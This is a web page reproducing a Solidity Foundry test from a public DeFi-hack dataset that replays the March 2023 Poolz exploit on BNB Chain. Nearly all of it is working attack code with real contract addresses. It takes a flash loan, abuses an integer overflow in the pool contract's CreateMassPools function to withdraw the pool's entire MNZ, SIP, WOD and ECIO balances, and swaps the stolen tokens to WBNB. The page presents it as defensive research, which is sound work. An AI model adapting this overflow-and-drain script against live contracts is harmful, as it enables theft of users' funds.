Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/poolz_exp.sol

Public reproduction file for dataset entry - Poolz.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/poolz_exp.sol363 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 IDPPAdvanced constant dppAdvanced = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
9 WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
11 IERC20 constant mnz = IERC20(0x861f1E1397daD68289e8f6a09a2ebb567f1B895C);
13 IERC20 constant wod = IERC20(0x298632D8EA20d321fAB1C9B473df5dBDA249B2b6);
15 IERC20 constant sip = IERC20(0x9e5965d28E8D44CAE8F9b809396E0931F9Df71CA);
17 IERC20 constant ecio = IERC20(0x327A3e880bF2674Ee40b6f872be2050Ed406b021);
19 IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
21 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
23 LockedDeal constant poolzpool = LockedDeal(payable(0x8BfAA473a899439d8E07BF86a8C6cE5De42fE54B));
25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 function setUp() public {
28 cheats.createSelectFork("bsc", 26_475_403);
29 }
31 function testExploit() external {
32 bytes memory data;
33 address assetTo = address(this);
34 data = "poolz";
35 dppAdvanced.flashLoan(1e18, 0, assetTo, data);
36 }
38 function DPPFlashLoanCall(address, uint256, uint256, bytes memory data) external {
39 if (keccak256(data) == keccak256("poolz")) {
40 console.log("Flashloan attacks");
41 emit log_named_decimal_uint("[Before mnz Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
43 address[] memory swapPath = new address[](3);
45 wbnb.withdraw(1e18);
47 swapPath[0] = address(wbnb);
48 swapPath[1] = address(busd);
49 swapPath[2] = address(mnz);
51 pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
53 mnz.approve(address(poolzpool), type(uint256).max);
54 sip.approve(address(poolzpool), type(uint256).max);
55 ecio.approve(address(poolzpool), type(uint256).max);
56 wod.approve(address(poolzpool), type(uint256).max);
58 mnz.approve(address(pancakeRouter), type(uint256).max);
59 sip.approve(address(pancakeRouter), type(uint256).max);
60 ecio.approve(address(pancakeRouter), type(uint256).max);
61 wod.approve(address(pancakeRouter), type(uint256).max);
63 uint256 mnz_balance = mnz.balanceOf(address(poolzpool));
64 uint256 overflow_data;
66 overflow_data = type(uint256).max - mnz_balance + 2;
68 uint64[] memory begintime = new uint64[](2);
69 begintime[0] = uint64(block.timestamp);
70 begintime[1] = uint64(block.timestamp);
72 uint256[] memory transfer_data = new uint256[](2);
73 transfer_data[0] = overflow_data;
74 transfer_data[1] = mnz_balance;
76 address[] memory owner_addr = new address[](2);
77 owner_addr[0] = address(this);
78 owner_addr[1] = address(this);
80 uint256 firstPoolId;
81 uint256 lastPoolId;
83 (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(mnz), begintime, transfer_data, owner_addr);
85 poolzpool.WithdrawToken(lastPoolId);
87 uint256 mnz_number = mnz.balanceOf(address(this));
89 emit log_named_decimal_uint("[mnz Exp] mnz pool balance", mnz_number, 18);
91 sellmnz();
93 emit log_named_decimal_uint("[After mnz Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
95 wbnb.withdraw(1e18);
97 emit log_named_decimal_uint("[Before sip Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
99 swapPath[0] = address(wbnb);
100 swapPath[1] = address(busd);
101 swapPath[2] = address(sip);
103 pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
105 uint256 sip_balance = sip.balanceOf(address(poolzpool));
106 emit log_named_decimal_uint("[sip Exp] pool sip balance", sip.balanceOf(address(poolzpool)), 18);
108 overflow_data = type(uint256).max - sip_balance + 2;
110 transfer_data[0] = overflow_data;
111 transfer_data[1] = sip_balance;
113 (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(sip), begintime, transfer_data, owner_addr);
115 poolzpool.WithdrawToken(lastPoolId);
117 sellsip();
119 emit log_named_decimal_uint("[After sip Exp] pool sip balance", sip.balanceOf(address(poolzpool)), 18);
121 emit log_named_decimal_uint("[After sip Exp] user wbnb balance", wbnb.balanceOf(address(this)), 18);
123 wbnb.withdraw(1e18);
125 emit log_named_decimal_uint("[Before wod Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
127 address[] memory simplepath = new address[](2);
129 simplepath[0] = address(wbnb);
130 simplepath[1] = address(wod);
132 pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, simplepath, address(this), block.timestamp);
134 uint256 wod_balance = wod.balanceOf(address(poolzpool));
135 emit log_named_decimal_uint("[wod Exp] pool wod balance", wod.balanceOf(address(poolzpool)), 18);
137 overflow_data = type(uint256).max - wod_balance + 2;
139 transfer_data[0] = overflow_data;
140 transfer_data[1] = wod_balance;
142 (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(wod), begintime, transfer_data, owner_addr);
144 poolzpool.WithdrawToken(lastPoolId);
146 sellwod();
148 emit log_named_decimal_uint("[After wod Exp] pool wod balance", wod.balanceOf(address(poolzpool)), 18);
150 emit log_named_decimal_uint("[After wod Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
152 wbnb.withdraw(1e18);
154 emit log_named_decimal_uint("[Before ecio Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
156 swapPath[0] = address(wbnb);
157 swapPath[1] = address(busd);
158 swapPath[2] = address(ecio);
160 pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
162 uint256 ecio_balance = ecio.balanceOf(address(poolzpool));
164 emit log_named_decimal_uint("[ecio Exp] pool ecio balance", ecio.balanceOf(address(poolzpool)), 18);
166 overflow_data = type(uint256).max - ecio_balance + 2;
168 transfer_data[0] = overflow_data;
169 transfer_data[1] = ecio_balance;
171 (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(ecio), begintime, transfer_data, owner_addr);
173 poolzpool.WithdrawToken(lastPoolId);
175 sellecio();
177 emit log_named_decimal_uint("[After ecio Exp] pool ecio balance", ecio.balanceOf(address(poolzpool)), 18);
179 emit log_named_decimal_uint("[After ecio Exp] wbnb balance", wbnb.balanceOf(address(this)), 18);
181 emit log_named_decimal_uint(
182 "[Total exploit wbnb balance ] wbnb balance", wbnb.balanceOf(address(this)), 18
183 );
185 wbnb.transfer(address(dppAdvanced), 1 * 1e18);
186 }
187 }
189 function sellecio() internal {
190 address[] memory path = new address[](3);
191 path[0] = address(ecio);
192 path[1] = address(busd);
193 path[2] = address(wbnb);
194 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
195 ecio.balanceOf(address(this)), 0, path, address(this), block.timestamp
196 );
197 }
199 function sellwod() internal {
200 address[] memory path = new address[](2);
201 path[0] = address(wod);
202 path[1] = address(wbnb);
203 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
204 wod.balanceOf(address(this)), 0, path, address(this), block.timestamp
205 );
206 }
208 function sellsip() internal {
209 address[] memory path = new address[](3);
210 path[0] = address(sip);
211 path[1] = address(busd);
212 path[2] = address(wbnb);
213 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
214 sip.balanceOf(address(this)), 0, path, address(this), block.timestamp
215 );
216 }
218 function sellmnz() internal {
219 address[] memory path = new address[](3);
220 path[0] = address(mnz);
221 path[1] = address(busd);
222 path[2] = address(wbnb);
223 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
224 mnz.balanceOf(address(this)), 0, path, address(this), block.timestamp
225 );
226 }
228 receive() external payable {}
231interface IDPPAdvanced {
232 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes memory data) external;
235interface LockedDeal {
236 event NewPoolCreated(uint256 PoolId, address Token, uint64 FinishTime, uint256 StartAmount, address Owner);
237 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
238 event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
239 event PoolOwnershipTransfered(uint256 PoolId, address NewOwner, address OldOwner);
240 event TransferIn(uint256 Amount, address From, address Token);
241 event TransferInETH(uint256 Amount, address From);
242 event TransferOut(uint256 Amount, address To, address Token);
243 event TransferOutETH(uint256 Amount, address To);
245 function ApproveAllowance(uint256 _PoolId, uint256 _Amount, address _Spender) external;
247 function CreateMassPools(
248 address _Token,
249 uint64[] memory _FinishTime,
250 uint256[] memory _StartAmount,
251 address[] memory _Owner
252 ) external returns (uint256, uint256);
254 function CreateNewPool(
255 address _Token,
256 uint64 _FinishTime,
257 uint256 _StartAmount,
258 address _Owner
259 ) external returns (uint256);
261 function CreatePoolsWrtTime(
262 address _Token,
263 uint64[] memory _FinishTime,
264 uint256[] memory _StartAmount,
265 address[] memory _Owner
266 ) external returns (uint256, uint256);
268 function GetFee() external view returns (uint16);
270 function GetMinDuration() external view returns (uint16);
272 function GetMyPoolsId() external view returns (uint256[] memory);
274 function GetPoolAllowance(uint256 _PoolId, address _Address) external view returns (uint256);
276 function GetPoolData(
277 uint256 _id
278 ) external view returns (uint64, uint256, address, address);
280 function GovernerContract() external view returns (address);
282 function IsPayble() external view returns (bool);
284 function PozFee() external view returns (uint256);
286 function PozTimer() external view returns (uint256);
288 function SetFee(
289 uint16 _fee
290 ) external;
292 function SetMinDuration(
293 uint16 _minDuration
294 ) external;
296 function SetPOZFee(
297 uint16 _fee
298 ) external;
300 function SetPozTimer(
301 uint256 _pozTimer
302 ) external;
304 function SplitPoolAmount(uint256 _PoolId, uint256 _NewAmount, address _NewOwner) external returns (uint256);
306 function SplitPoolAmountFrom(uint256 _PoolId, uint256 _Amount, address _Address) external returns (uint256);
308 function SwitchIsPayble() external;
310 function TransferPoolOwnership(uint256 _PoolId, address _NewOwner) external;
312 function WhiteListId() external view returns (uint256);
314 function WhiteList_Address() external view returns (address);
316 function WithdrawERC20Fee(address _Token, address _to) external;
318 function WithdrawETHFee(
319 address _to
320 ) external;
322 function WithdrawToken(
323 uint256 _PoolId
324 ) external returns (bool);
326 function isTokenFilterOn() external view returns (bool);
328 function isTokenWhiteListed(
329 address _tokenAddress
330 ) external view returns (bool);
332 function maxTransactionLimit() external view returns (uint256);
334 function name() external view returns (string memory);
336 function owner() external view returns (address);
338 function renounceOwnership() external;
340 function setGovernerContract(
341 address _address
342 ) external;
344 function setMaxTransactionLimit(
345 uint256 _newLimit
346 ) external;
348 function setWhiteListAddress(
349 address _address
350 ) external;
352 function setWhiteListId(
353 uint256 _id
354 ) external;
356 function swapTokenFilter() external;
358 function transferOwnership(
359 address newOwner
360 ) external;
362 receive() external payable;

Analysis

Dataset entry

Public Foundry test for “- Poolz” (2023-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Poolz
Path
src/test/2023-03/poolz_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
842ce2b305dfb9fa3ea224b49277d4df907e962a
Language
Solidity
Size
364 lines
Date
2023-03-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/poolz_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 842ce2b305dfb9fa3ea224b49277d4df907e962a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.